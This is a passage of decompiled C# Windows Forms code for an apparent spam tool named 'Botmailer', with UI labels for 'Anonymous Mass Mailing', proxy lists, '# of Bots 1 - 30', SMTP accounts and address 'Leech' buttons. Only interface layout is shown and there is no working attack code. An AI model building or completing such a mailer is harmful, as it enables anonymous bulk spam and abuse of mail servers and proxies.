          this._MenuItem24.Click -= new EventHandler(this.MenuItem24_Click);
        this._MenuItem24 = value;
        if (this._MenuItem24 == null)
          return;
        this._MenuItem24.Click += new EventHandler(this.MenuItem24_Click);
      }
    }

    internal virtual Button Button6
    {
      get => this._Button6;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button6 != null)
          this._Button6.Click -= new EventHandler(this.Button6_Click);
        this._Button6 = value;
        if (this._Button6 == null)
          return;
        this._Button6.Click += new EventHandler(this.Button6_Click);
      }
    }

    internal virtual Button Addaccnt
    {
      get => this._Addaccnt;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Addaccnt != null)
          this._Addaccnt.Click -= new EventHandler(this.Addaccnt_Click);
        this._Addaccnt = value;
        if (this._Addaccnt == null)
          return;
        this._Addaccnt.Click += new EventHandler(this.Addaccnt_Click);
      }
    }

    internal virtual Button Button16
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button16 == null)
          ;
        this._Button16 = value;
        if (this._Button16 == null)
          ;
      }
      get => this._Button16;
    }

    internal virtual MenuItem MenuItem9
    {
      get => this._MenuItem9;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem9 != null)
          this._MenuItem9.Click -= new EventHandler(this.MenuItem9_Click);
        this._MenuItem9 = value;
        if (this._MenuItem9 == null)
          return;
        this._MenuItem9.Click += new EventHandler(this.MenuItem9_Click);
      }
    }

    internal virtual Button CheckAll
    {
      get => this._CheckAll;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._CheckAll == null)
          ;
        this._CheckAll = value;
        if (this._CheckAll == null)
          ;
      }
    }

    internal virtual CheckBox Stopchecking
    {
      get => this._Stopchecking;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Stopchecking == null)
          ;
        this._Stopchecking = value;
        if (this._Stopchecking == null)
          ;
      }
    }

    internal virtual ListBox ListBox2
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._ListBox2 == null)
          ;
        this._ListBox2 = value;
        if (this._ListBox2 == null)
          ;
      }
      get => this._ListBox2;
    }

    internal virtual Button Button8
    {
      get => this._Button8;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button8 != null)
          this._Button8.Click -= new EventHandler(this.Button8_Click);
        this._Button8 = value;
        if (this._Button8 == null)
          return;
        this._Button8.Click += new EventHandler(this.Button8_Click);
      }
    }

    internal virtual Button Button9
    {
      get => this._Button9;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button9 != null)
          this._Button9.Click -= new EventHandler(this.Button9_Click);
        this._Button9 = value;
        if (this._Button9 == null)
          return;
        this._Button9.Click += new EventHandler(this.Button9_Click);
      }
    }

    internal virtual LinkLabel LinkLabel1
    {
      get => this._LinkLabel1;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._LinkLabel1 == null)
          ;
        this._LinkLabel1 = value;
        if (this._LinkLabel1 == null)
          ;
      }
    }

    internal virtual MenuItem MenuItem11
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._MenuItem11 == null)
          ;
        this._MenuItem11 = value;
        if (this._MenuItem11 == null)
          ;
      }
      get => this._MenuItem11;
    }

    internal virtual Label Label21
    {
      get => this._Label21;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label21 == null)
          ;
        this._Label21 = value;
        if (this._Label21 == null)
          ;
      }
    }

    internal virtual Button Button10
    {
      get => this._Button10;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button10 != null)
          this._Button10.Click -= new EventHandler(this.Button10_Click);
        this._Button10 = value;
        if (this._Button10 == null)
          return;
        this._Button10.Click += new EventHandler(this.Button10_Click);
      }
    }

    internal virtual TextBox textbox1111
    {
      get => this._textbox1111;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._textbox1111 == null)
          ;
        this._textbox1111 = value;
        if (this._textbox1111 == null)
          ;
      }
    }

    internal virtual TrackBar TrackBar2
    {
      get => this._TrackBar2;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._TrackBar2 == null)
          ;
        this._TrackBar2 = value;
        if (this._TrackBar2 == null)
          ;
      }
    }

    internal virtual Label Label17
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label17 == null)
          ;
        this._Label17 = value;
        if (this._Label17 == null)
          ;
      }
      get => this._Label17;
    }

    internal virtual CheckBox HTML
    {
      get => this._HTML;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._HTML == null)
          ;
        this._HTML = value;
        if (this._HTML == null)
          ;
      }
    }

    internal virtual Panel Panel3
    {
      get => this._Panel3;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Panel3 == null)
          ;
        this._Panel3 = value;
        if (this._Panel3 == null)
          ;
      }
    }

    internal virtual ListBox Listlog
    {
      get => this._Listlog;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Listlog == null)
          ;
        this._Listlog = value;
        if (this._Listlog == null)
          ;
      }
    }

    internal virtual Button Button5
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button5 != null)
          this._Button5.Click -= new EventHandler(this.Button5_Click_2);
        this._Button5 = value;
        if (this._Button5 == null)
          return;
        this._Button5.Click += new EventHandler(this.Button5_Click_2);
      }
      get => this._Button5;
    }

    internal virtual Button Button12
    {
      get => this._Button12;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button12 != null)
          this._Button12.Click -= new EventHandler(this.Button12_Click);
        this._Button12 = value;
        if (this._Button12 == null)
          return;
        this._Button12.Click += new EventHandler(this.Button12_Click);
      }
    }

    internal virtual Label Label13
    {
      get => this._Label13;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label13 == null)
          ;
        this._Label13 = value;
        if (this._Label13 == null)
          ;
      }
    }

    internal virtual Label Label14
    {
      get => this._Label14;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label14 == null)
          ;
        this._Label14 = value;
        if (this._Label14 == null)
          ;
      }
    }

    internal virtual Panel Message
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Message == null)
          ;
        this._Message = value;
        if (this._Message == null)
          ;
      }
      get => this._Message;
    }

    internal virtual Button Button13
    {
      get => this._Button13;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button13 != null)
          this._Button13.Click -= new EventHandler(this.Button13_Click);
        this._Button13 = value;
        if (this._Button13 == null)
          return;
        this._Button13.Click += new EventHandler(this.Button13_Click);
      }
    }

    internal virtual Panel Panel4
    {
      get => this._Panel4;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Panel4 == null)
          ;
        this._Panel4 = value;
        if (this._Panel4 == null)
          ;
      }
    }

    internal virtual Label Label15
    {
      get => this._Label15;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Label15 == null)
          ;
        this._Label15 = value;
        if (this._Label15 == null)
          ;
      }
    }

    internal virtual Button Button15
    {
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button15 == null)
          ;
        this._Button15 = value;
        if (this._Button15 == null)
          ;
      }
      get => this._Button15;
    }

    internal virtual Button Button14
    {
      get => this._Button14;
      [MethodImpl(MethodImplOptions.Synchronized)] set
      {
        if (this._Button14 != null)
          this._Button14.Click -= new EventHandler(this.Button14_Click);
        this._Button14 = value;
        if (this._Button14 == null)
          return;
        this._Button14.Click += new EventHandler(this.Button14_Click);
      }
    }

    public Form1()
    {
      this.Closed += new EventHandler(this.Form1_closed);
      this.Load += new EventHandler(this.Form1_Load);
      this.ASCII = Encoding.ASCII;
      this.P = 0;
      this.qou = 0;
      this.ppou = 0;
      this.InitializeComponent();
    }

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      ResourceManager resourceManager = new ResourceManager(typeof (Form1));
      this.MainMenu1 = new MainMenu();
      this.MenuItem1 = new MenuItem();
      this.Send = new MenuItem();
      this.MenuItem6 = new MenuItem();
      this.MenuItem11 = new MenuItem();
      this.MenuItem7 = new MenuItem();
      this.MenuItem19 = new MenuItem();
      this.MenuItem20 = new MenuItem();
      this.MenuItem23 = new MenuItem();
      this.MenuItem18 = new MenuItem();
      this.MenuItem21 = new MenuItem();
      this.MenuItem22 = new MenuItem();
      this.MenuItem24 = new MenuItem();
      this.List = new MenuItem();
      this.MenuItem9 = new MenuItem();
      this.Uselistbox = new MenuItem();
      this.MenuItem4 = new MenuItem();
      this.MenuItem16 = new MenuItem();
      this.Panel1 = new Panel();
      this.Button10 = new Button();
      this.Label21 = new Label();
      this.textbox1111 = new TextBox();
      this.LinkLabel1 = new LinkLabel();
      this.CloseAbout = new Button();
      this.OpenFileDialog1 = new OpenFileDialog();
      this.Panel2 = new Panel();
      this.Button13 = new Button();
      this.Panel4 = new Panel();
      this.Button19 = new Button();
      this.Button18 = new Button();
      this.Button17 = new Button();
      this.Button16 = new Button();
      this.ListBox2 = new ListBox();
      this.Button15 = new Button();
      this.Button14 = new Button();
      this.Label15 = new Label();
      this.leechbox = new TextBox();
      this.Button8 = new Button();
      this.CheckAll = new Button();
      this.Save = new Button();
      this.Delete = new Button();
      this.HideProxy = new Button();
      this.OpenProxy = new Button();
      this.ProxyGroup = new GroupBox();
      this.Button20 = new Button();
      this.ProxySMTP = new TextBox();
      this.Label12 = new Label();
      this.Label11 = new Label();
      this.Threads = new Label();
      this.TrackBar1 = new TrackBar();
      this.Proxylist2 = new ListBox();
      this.Button7 = new Button();
      this.Proxylist = new ListBox();
      this.CheckProxy = new Button();
      this.Button11 = new Button();
      this.Proxy = new TextBox();
      this.Message = new Panel();
      this.Label17 = new Label();
      this.Button5 = new Button();
      this.HTML = new CheckBox();
      this.Button6 = new Button();
      this.Subject = new TextBox();
      this.Label5 = new Label();
      this.Label4 = new Label();
      this.Label3 = new Label();
      this.Fromname = new TextBox();
      this.Label2 = new Label();
      this.Label1 = new Label();
      this.Body = new RichTextBox();
      this.ToName = new TextBox();
      this.ReplyTo = new TextBox();
      this.From = new TextBox();
      this.Recipient = new TextBox();
      this.TrackBar2 = new TrackBar();
      this.SmtpAuth = new Panel();
      this.Label16 = new Label();
      this.Button21 = new Button();
      this.Button9 = new Button();
      this.Addaccnt = new Button();
      this.SaveAccount = new Button();
      this.clear = new Button();
      this.OpenSmtp = new Button();
      this.HideSMTP = new Button();
      this.Label10 = new Label();
      this.Label9 = new Label();
      this.Label8 = new Label();
      this.Label7 = new Label();
      this.Label6 = new Label();
      this.RealEmail = new TextBox();
      this.Accountlist = new ListBox();
      this.password = new TextBox();
      this.username = new TextBox();
      this.pop3 = new TextBox();
      this.smtp = new TextBox();
      this.SaveFileDialog1 = new SaveFileDialog();
      this.MailingList = new Panel();
      this.Stopchecking = new CheckBox();
      this.Button4 = new Button();
      this.Button3 = new Button();
      this.Button2 = new Button();
      this.ListBox1 = new ListBox();
      this.Button1 = new Button();
      this.Panel3 = new Panel();
      this.Button12 = new Button();
      this.Listlog = new ListBox();
      this.log = new LinkLabel();
      this.Label13 = new Label();
      this.Label14 = new Label();
      this.Status = new Label();
      this.Panel1.SuspendLayout();
      this.Panel2.SuspendLayout();
      this.Panel4.SuspendLayout();
      this.ProxyGroup.SuspendLayout();
      this.TrackBar1.BeginInit();
      this.Message.SuspendLayout();
      this.TrackBar2.BeginInit();
      this.SmtpAuth.SuspendLayout();
      this.MailingList.SuspendLayout();
      this.Panel3.SuspendLayout();
      this.SuspendLayout();
      this.MainMenu1.MenuItems.AddRange(new MenuItem[3]
      {
        this.MenuItem1,
        this.List,
        this.MenuItem4
      });
      this.MenuItem1.DefaultItem = true;
      this.MenuItem1.Index = 0;
      this.MenuItem1.MenuItems.AddRange(new MenuItem[8]
      {
        this.Send,
        this.MenuItem6,
        this.MenuItem11,
        this.MenuItem7,
        this.MenuItem18,
        this.MenuItem21,
        this.MenuItem22,
        this.MenuItem24
      });
      this.MenuItem1.Text = "Main";
      this.Send.Index = 0;
      this.Send.Text = "Start";
      this.MenuItem6.Index = 1;
      this.MenuItem6.Text = "Stop";
      this.MenuItem11.Index = 2;
      this.MenuItem11.Text = "-";
      this.MenuItem7.Index = 3;
      this.MenuItem7.MenuItems.AddRange(new MenuItem[3]
      {
        this.MenuItem19,
        this.MenuItem20,
        this.MenuItem23
      });
      this.MenuItem7.Text = "Mode";
      this.MenuItem7.Visible = false;
      this.MenuItem19.Index = 0;
      this.MenuItem19.Text = "Legit Mailing List";
      this.MenuItem20.Index = 1;
      this.MenuItem20.Text = "Bulk Mailing List";
      this.MenuItem23.Index = 2;
      this.MenuItem23.Text = "Anonymous Mass Mailing";
      this.MenuItem18.Index = 4;
      this.MenuItem18.Text = "Mail Message";
      this.MenuItem21.Index = 5;
      this.MenuItem21.Text = "Proxy List";
      this.MenuItem21.Visible = false;
      this.MenuItem22.Index = 6;
      this.MenuItem22.Text = "SMTP Auth";
      this.MenuItem24.Index = 7;
      this.MenuItem24.Text = "List";
      this.MenuItem24.Visible = false;
      this.List.Index = 1;
      this.List.MenuItems.AddRange(new MenuItem[2]
      {
        this.MenuItem9,
        this.Uselistbox
      });
      this.List.Text = "List";
      this.MenuItem9.Index = 0;
      this.MenuItem9.Text = "Validate List";
      this.MenuItem9.Visible = false;
      this.Uselistbox.Index = 1;
      this.Uselistbox.Text = "Use List";
      this.MenuItem4.Index = 2;
      this.MenuItem4.MenuItems.AddRange(new MenuItem[1]
      {
        this.MenuItem16
      });
      this.MenuItem4.Text = "About";
      this.MenuItem16.Index = 0;
      this.MenuItem16.Text = "Version";
      this.Panel1.BackgroundImage = (Image) resourceManager.GetObject("Panel1.BackgroundImage");
      this.Panel1.BorderStyle = BorderStyle.FixedSingle;
      this.Panel1.Controls.AddRange(new Control[5]
      {
        (Control) this.Button10,
        (Control) this.Label21,
        (Control) this.textbox1111,
        (Control) this.LinkLabel1,
        (Control) this.CloseAbout
      });
      Panel panel1_1 = this.Panel1;
      Point point1 = new Point(136, 8);
      Point point2 = point1;
      panel1_1.Location = point2;
      this.Panel1.Name = "Panel1";
      Panel panel1_2 = this.Panel1;
      Size size1 = new Size(264, 176);
      Size size2 = size1;
      panel1_2.Size = size2;
      this.Panel1.TabIndex = 0;
      this.Panel1.Visible = false;
      this.Button10.FlatStyle = FlatStyle.Flat;
      Button button10_1 = this.Button10;
      point1 = new Point(176, 120);
      Point point3 = point1;
      button10_1.Location = point3;
      this.Button10.Name = "Button10";
      Button button10_2 = this.Button10;
      size1 = new Size(64, 24);
      Size size3 = size1;
      button10_2.Size = size3;
      this.Button10.TabIndex = 4;
      this.Button10.Text = "ok";
      this.Label21.BackColor = SystemColors.ControlLightLight;
      this.Label21.BorderStyle = BorderStyle.FixedSingle;
      Label label21_1 = this.Label21;
      point1 = new Point(152, 48);
      Point point4 = point1;
      label21_1.Location = point4;
      this.Label21.Name = "Label21";
      Label label21_2 = this.Label21;
      size1 = new Size(96, 40);
      Size size4 = size1;
      label21_2.Size = size4;
      this.Label21.TabIndex = 3;
      this.Label21.Text = "Enter Registeration Code";
      this.textbox1111.BorderStyle = BorderStyle.FixedSingle;
      TextBox textbox1111 = this.textbox1111;
      point1 = new Point(152, 96);
      Point point5 = point1;
      textbox1111.Location = point5;
      this.textbox1111.Name = "textbox1111";
      this.textbox1111.TabIndex = 2;
      this.textbox1111.Text = "";
      this.LinkLabel1.BackColor = System.Drawing.Color.White;
      LinkLabel linkLabel1_1 = this.LinkLabel1;
      point1 = new Point(104, 24);
      Point point6 = point1;
      linkLabel1_1.Location = point6;
      this.LinkLabel1.Name = "LinkLabel1";
      LinkLabel linkLabel1_2 = this.LinkLabel1;
      size1 = new Size(144, 16);
      Size size5 = size1;
      linkLabel1_2.Size = size5;
      this.LinkLabel1.TabIndex = 1;
      ((Label) this.LinkLabel1).TabStop = true;
      this.LinkLabel1.Text = "http://Botmailer.Beware.us";
      this.CloseAbout.BackColor = System.Drawing.Color.White;
      this.CloseAbout.FlatStyle = FlatStyle.Popup;
      this.CloseAbout.ForeColor = SystemColors.ControlText;
      Button closeAbout1 = this.CloseAbout;
      point1 = new Point(8, 64);
      Point point7 = point1;
      closeAbout1.Location = point7;
      this.CloseAbout.Name = "CloseAbout";
      Button closeAbout2 = this.CloseAbout;
      size1 = new Size(80, 24);
      Size size6 = size1;
      closeAbout2.Size = size6;
      this.CloseAbout.TabIndex = 0;
      this.CloseAbout.Text = "Hide";
      this.Panel2.BackColor = System.Drawing.Color.Transparent;
      this.Panel2.BorderStyle = BorderStyle.FixedSingle;
      this.Panel2.Controls.AddRange(new Control[9]
      {
        (Control) this.Button13,
        (Control) this.Panel4,
        (Control) this.Button8,
        (Control) this.CheckAll,
        (Control) this.Save,
        (Control) this.Delete,
        (Control) this.HideProxy,
        (Control) this.OpenProxy,
        (Control) this.ProxyGroup
      });
      Panel panel2_1 = this.Panel2;
      point1 = new Point(0, 8);
      Point point8 = point1;
      panel2_1.Location = point8;
      this.Panel2.Name = "Panel2";
      Panel panel2_2 = this.Panel2;
      size1 = new Size(416, 256);
      Size size7 = size1;
      panel2_2.Size = size7;
      this.Panel2.TabIndex = 1;
      this.Panel2.Visible = false;
      this.Button13.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button13.FlatStyle = FlatStyle.Popup;
      Button button13_1 = this.Button13;
      point1 = new Point(333, 7);
      Point point9 = point1;
      button13_1.Location = point9;
      this.Button13.Name = "Button13";
      Button button13_2 = this.Button13;
      size1 = new Size(69, 24);
      Size size8 = size1;
      button13_2.Size = size8;
      this.Button13.TabIndex = 18;
      this.Button13.Text = "Leech";
      this.Button13.Visible = false;
      this.Panel4.BorderStyle = BorderStyle.FixedSingle;
      this.Panel4.Controls.AddRange(new Control[9]
      {
        (Control) this.Button19,
        (Control) this.Button18,
        (Control) this.Button17,
        (Control) this.Button16,
        (Control) this.ListBox2,
        (Control) this.Button15,
        (Control) this.Button14,
        (Control) this.Label15,
        (Control) this.leechbox
      });
      Panel panel4_1 = this.Panel4;
      point1 = new Point(313, 5);
      Point point10 = point1;
      panel4_1.Location = point10;
      this.Panel4.Name = "Panel4";
      Panel panel4_2 = this.Panel4;
      size1 = new Size(98, 43);
      Size size9 = size1;
      panel4_2.Size = size9;
      this.Panel4.TabIndex = 19;
      this.Panel4.Visible = false;
      this.Button19.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button19.FlatStyle = FlatStyle.Popup;
      Button button19_1 = this.Button19;
      point1 = new Point(247, 157);
      Point point11 = point1;
      button19_1.Location = point11;
      this.Button19.Name = "Button19";
      Button button19_2 = this.Button19;
      size1 = new Size(68, 22);
      Size size10 = size1;
      button19_2.Size = size10;
      this.Button19.TabIndex = 10;
      this.Button19.Text = "Save";
      this.Button18.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button18.FlatStyle = FlatStyle.Popup;
      Button button18_1 = this.Button18;
      point1 = new Point(246, 125);
      Point point12 = point1;
      button18_1.Location = point12;
      this.Button18.Name = "Button18";
      Button button18_2 = this.Button18;
      size1 = new Size(68, 22);
      Size size11 = size1;
      button18_2.Size = size11;
      this.Button18.TabIndex = 9;
      this.Button18.Text = "Open";
      this.Button17.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button17.FlatStyle = FlatStyle.Popup;
      Button button17_1 = this.Button17;
      point1 = new Point(245, 66);
      Point point13 = point1;
      button17_1.Location = point13;
      this.Button17.Name = "Button17";
      Button button17_2 = this.Button17;
      size1 = new Size(68, 22);
      Size size12 = size1;
      button17_2.Size = size12;
      this.Button17.TabIndex = 8;
      this.Button17.Text = "Leech All";
      this.Button16.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button16.FlatStyle = FlatStyle.Popup;
      Button button16_1 = this.Button16;
      point1 = new Point(244, 11);
      Point point14 = point1;
      button16_1.Location = point14;
      this.Button16.Name = "Button16";
      Button button16_2 = this.Button16;
      size1 = new Size(72, 20);
      Size size13 = size1;
      button16_2.Size = size13;
      this.Button16.TabIndex = 7;
      this.Button16.Text = "Leech";
      ListBox listBox2_1 = this.ListBox2;
      point1 = new Point(9, 42);
      Point point15 = point1;
      listBox2_1.Location = point15;
      this.ListBox2.Name = "ListBox2";
      ListBox listBox2_2 = this.ListBox2;
      size1 = new Size(216, 134);
      Size size14 = size1;
      listBox2_2.Size = size14;
      this.ListBox2.TabIndex = 6;
      this.Button15.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button15.FlatStyle = FlatStyle.Popup;
      Button button15_1 = this.Button15;
      point1 = new Point(245, 37);
      Point point16 = point1;
      button15_1.Location = point16;
      this.Button15.Name = "Button15";
      Button button15_2 = this.Button15;
      size1 = new Size(70, 20);
      Size size15 = size1;
      button15_2.Size = size15;
      this.Button15.TabIndex = 5;
      this.Button15.Text = "Add";
      this.Button14.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button14.FlatStyle = FlatStyle.Popup;
      Button button14_1 = this.Button14;
      point1 = new Point(246, 97);
      Point point17 = point1;
      button14_1.Location = point17;
      this.Button14.Name = "Button14";
      Button button14_2 = this.Button14;
      size1 = new Size(68, 19);
      Size size16 = size1;
      button14_2.Size = size16;
      this.Button14.TabIndex = 4;
      this.Button14.Text = "hide";
      Label label15_1 = this.Label15;
      point1 = new Point(5, 9);
      Point point18 = point1;
      label15_1.Location = point18;
      this.Label15.Name = "Label15";
      Label label15_2 = this.Label15;
      size1 = new Size(34, 19);
      Size size17 = size1;
      label15_2.Size = size17;
      this.Label15.TabIndex = 2;
      this.Label15.Text = "From:";
      this.leechbox.BorderStyle = BorderStyle.FixedSingle;
      TextBox leechbox1 = this.leechbox;
      point1 = new Point(52, 8);
      Point point19 = point1;
      leechbox1.Location = point19;
      this.leechbox.Name = "leechbox";
      TextBox leechbox2 = this.leechbox;
      size1 = new Size(178, 20);
      Size size18 = size1;
      leechbox2.Size = size18;
      this.leechbox.TabIndex = 0;
      this.leechbox.Text = "";
      this.Button8.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button8.FlatStyle = FlatStyle.Popup;
      Button button8_1 = this.Button8;
      point1 = new Point(333, 38);
      Point point20 = point1;
      button8_1.Location = point20;
      this.Button8.Name = "Button8";
      Button button8_2 = this.Button8;
      size1 = new Size(69, 24);
      Size size19 = size1;
      button8_2.Size = size19;
      this.Button8.TabIndex = 17;
      this.Button8.Text = "Clear";
      this.CheckAll.BackColor = System.Drawing.Color.CornflowerBlue;
      this.CheckAll.FlatStyle = FlatStyle.Popup;
      Button checkAll1 = this.CheckAll;
      point1 = new Point(333, 73);
      Point point21 = point1;
      checkAll1.Location = point21;
      this.CheckAll.Name = "CheckAll";
      Button checkAll2 = this.CheckAll;
      size1 = new Size(69, 24);
      Size size20 = size1;
      checkAll2.Size = size20;
      this.CheckAll.TabIndex = 16;
      this.CheckAll.Text = "Check All";
      this.Save.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Save.FlatStyle = FlatStyle.Popup;
      Button save1 = this.Save;
      point1 = new Point(333, 107);
      Point point22 = point1;
      save1.Location = point22;
      this.Save.Name = "Save";
      Button save2 = this.Save;
      size1 = new Size(68, 25);
      Size size21 = size1;
      save2.Size = size21;
      this.Save.TabIndex = 15;
      this.Save.Text = "Save";
      this.Delete.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Delete.FlatStyle = FlatStyle.Popup;
      Button delete1 = this.Delete;
      point1 = new Point(333, 141);
      Point point23 = point1;
      delete1.Location = point23;
      this.Delete.Name = "Delete";
      Button delete2 = this.Delete;
      size1 = new Size(70, 24);
      Size size22 = size1;
      delete2.Size = size22;
      this.Delete.TabIndex = 14;
      this.Delete.Text = "Delete";
      this.HideProxy.BackColor = System.Drawing.Color.CornflowerBlue;
      this.HideProxy.FlatStyle = FlatStyle.Popup;
      Button hideProxy1 = this.HideProxy;
      point1 = new Point(334, 210);
      Point point24 = point1;
      hideProxy1.Location = point24;
      this.HideProxy.Name = "HideProxy";
      Button hideProxy2 = this.HideProxy;
      size1 = new Size(69, 27);
      Size size23 = size1;
      hideProxy2.Size = size23;
      this.HideProxy.TabIndex = 1;
      this.HideProxy.Text = "Hide";
      this.OpenProxy.BackColor = System.Drawing.Color.CornflowerBlue;
      this.OpenProxy.FlatStyle = FlatStyle.Popup;
      Button openProxy1 = this.OpenProxy;
      point1 = new Point(333, 174);
      Point point25 = point1;
      openProxy1.Location = point25;
      this.OpenProxy.Name = "OpenProxy";
      Button openProxy2 = this.OpenProxy;
      size1 = new Size(70, 24);
      Size size24 = size1;
      openProxy2.Size = size24;
      this.OpenProxy.TabIndex = 13;
      this.OpenProxy.Text = "Open";
      this.ProxyGroup.BackColor = System.Drawing.Color.Transparent;
      this.ProxyGroup.Controls.AddRange(new Control[11]
      {
        (Control) this.Button20,
        (Control) this.ProxySMTP,
        (Control) this.Label12,
        (Control) this.Label11,
        (Control) this.Threads,
        (Control) this.TrackBar1,
        (Control) this.Proxylist2,
        (Control) this.Button7,
        (Control) this.Proxylist,
        (Control) this.CheckProxy,
        (Control) this.Button11
      });
      this.ProxyGroup.ForeColor = SystemColors.ControlText;
      GroupBox proxyGroup1 = this.ProxyGroup;
      point1 = new Point(14, 16);
      Point point26 = point1;
      proxyGroup1.Location = point26;
      this.ProxyGroup.Name = "ProxyGroup";
      GroupBox proxyGroup2 = this.ProxyGroup;
      size1 = new Size(311, 229);
      Size size25 = size1;
      proxyGroup2.Size = size25;
      this.ProxyGroup.TabIndex = 2;
      this.ProxyGroup.TabStop = false;
      this.ProxyGroup.Text = "Proxy List";
      this.Button20.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button20.FlatStyle = FlatStyle.Popup;
      Button button20_1 = this.Button20;
      point1 = new Point(142, 15);
      Point point27 = point1;
      button20_1.Location = point27;
      this.Button20.Name = "Button20";
      Button button20_2 = this.Button20;
      size1 = new Size(161, 22);
      Size size26 = size1;
      button20_2.Size = size26;
      this.Button20.TabIndex = 17;
      this.Button20.Text = "Find/Check Proxy SMTP/Add";
      this.Button20.Visible = false;
      TextBox proxySmtp1 = this.ProxySMTP;
      point1 = new Point(6, 18);
      Point point28 = point1;
      proxySmtp1.Location = point28;
      this.ProxySMTP.Name = "ProxySMTP";
      TextBox proxySmtp2 = this.ProxySMTP;
      size1 = new Size(121, 20);
      Size size27 = size1;
      proxySmtp2.Size = size27;
      this.ProxySMTP.TabIndex = 16;
      this.ProxySMTP.Text = "";
      this.ProxySMTP.Visible = false;
      this.Label12.BackColor = System.Drawing.Color.Transparent;
      Label label12_1 = this.Label12;
      point1 = new Point(17, 70);
      Point point29 = point1;
      label12_1.Location = point29;
      this.Label12.Name = "Label12";
      Label label12_2 = this.Label12;
      size1 = new Size(118, 16);
      Size size28 = size1;
      label12_2.Size = size28;
      this.Label12.TabIndex = 15;
      this.Label12.Text = "Checked Proxies";
      this.Label11.BackColor = System.Drawing.Color.Transparent;
      Label label11_1 = this.Label11;
      point1 = new Point(158, 71);
      Point point30 = point1;
      label11_1.Location = point30;
      this.Label11.Name = "Label11";
      Label label11_2 = this.Label11;
      size1 = new Size(115, 16);
      Size size29 = size1;
      label11_2.Size = size29;
      this.Label11.TabIndex = 14;
      this.Label11.Text = "Unchecked Proxies";
      this.Threads.BackColor = System.Drawing.Color.Transparent;
      Label threads1 = this.Threads;
      point1 = new Point(154, 201);
      Point point31 = point1;
      threads1.Location = point31;
      this.Threads.Name = "Threads";
      Label threads2 = this.Threads;
      size1 = new Size(113, 17);
      Size size30 = size1;
      threads2.Size = size30;
      this.Threads.TabIndex = 7;
      this.Threads.Text = "# of Bots 1 - 30";
      this.TrackBar1.BackColor = System.Drawing.Color.LightSteelBlue;
      TrackBar trackBar1_1 = this.TrackBar1;
      point1 = new Point(144, 179);
      Point point32 = point1;
      trackBar1_1.Location = point32;
      this.TrackBar1.Maximum = 30;
      this.TrackBar1.Minimum = 1;
      this.TrackBar1.Name = "TrackBar1";
      TrackBar trackBar1_2 = this.TrackBar1;
      size1 = new Size(136, 45);
      Size size31 = size1;
      trackBar1_2.Size = size31;
      this.TrackBar1.TabIndex = 6;
      this.TrackBar1.Value = 1;
      this.Proxylist2.BorderStyle = BorderStyle.FixedSingle;
      ListBox proxylist2_1 = this.Proxylist2;
      point1 = new Point(6, 90);
      Point point33 = point1;
      proxylist2_1.Location = point33;
      this.Proxylist2.Name = "Proxylist2";
      ListBox proxylist2_2 = this.Proxylist2;
      size1 = new Size(124, 80);
      Size size32 = size1;
      proxylist2_2.Size = size32;
      this.Proxylist2.TabIndex = 5;
      this.Button7.BackColor = System.Drawing.Color.CornflowerBlue;
      this.Button7.FlatStyle = FlatStyle.Popup;
      Button button7_1 = this.Button7;
      point1 = new Point(245, 42);
      Point point34 = point1;
      button7_1.Location = point34;
      this.Button7.Name = "Button7";
      Button button7_2 = this.Button7;
      size1 = new Size(53, 22);
      Size size33 = size1;
      button7_2.Size = size33;
      this.Button7.TabIndex = 4;
      this.Button7.Text = "Add";
      this.Proxylist.BorderStyle = BorderStyle.FixedSingle;
      ListBox proxylist1 = this.Proxylist;
      point1 = new Point(149, 89);
      Point point35 = point1;
      proxylist1.Location = point35;
      this.Proxylist.Name = "Proxylist";
      ListBox proxylist2 = this.Proxylist;
      size1 = new Size(120, 80);
      Size size34 = size1;
      proxylist2.Size = size34;
      this.Proxylist.TabIndex = 0;
      this.CheckProxy.BackColor = System.Drawing.Color.CornflowerBlue;
      this.CheckProxy.FlatStyle = FlatStyle.Popup;
